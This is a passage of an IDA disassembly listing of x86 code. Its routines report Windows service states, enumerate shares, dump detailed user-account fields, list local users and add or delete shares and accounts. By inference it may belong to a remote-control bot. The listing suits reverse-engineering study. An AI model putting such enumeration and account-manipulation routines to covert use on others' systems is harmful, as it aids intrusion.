		call	near ptr 269096Bh
		cmp	eax, 0EAh
		jnz	loc_418FCE

loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]

loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------

loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------

loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------

loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------

loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------

loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------

loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------

loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"

loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B

loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0

loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8DC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax

loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB64C
		push	off_439528[eax*4]
		push	offset unk_439BD4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------

loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch

loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025

loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB64C
		push	off_43952C[eax*4]
		push	offset dword_439BB8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------

loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB64C
		lea	eax, [eax+eax*2]
		push	off_439528[eax*4]
		push	offset unk_439B94
		push	esi
		call	sub_41C266
		add	esp, 0Ch

loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB84C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB84C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5EC, eax

loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5EC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5EC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8D8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8B0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h

loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB928
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C20
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------

loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8CC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"

loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi

loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA74

loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------

loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------

loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------

loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax

loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379

loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB850
		push	off_43952C[eax*4]
		push	offset unk_439CD8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------

loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB850
		push	off_439528[eax*4]
		push	offset unk_439CA8
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------

loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB850
		lea	eax, [eax+eax*2]
		push	off_439528[eax*4]
		push	offset unk_439C80
		push	esi
		call	sub_41C266
		add	esp, 0Ch

loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8BC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB8AC
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA3C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------

loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------

loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------

loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"

loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------

loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CF8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h

loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA74

loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h

loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB944
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439EE8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------

loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947

loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------

loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EB4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch

loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA74
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA74

loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------

loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------

loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------

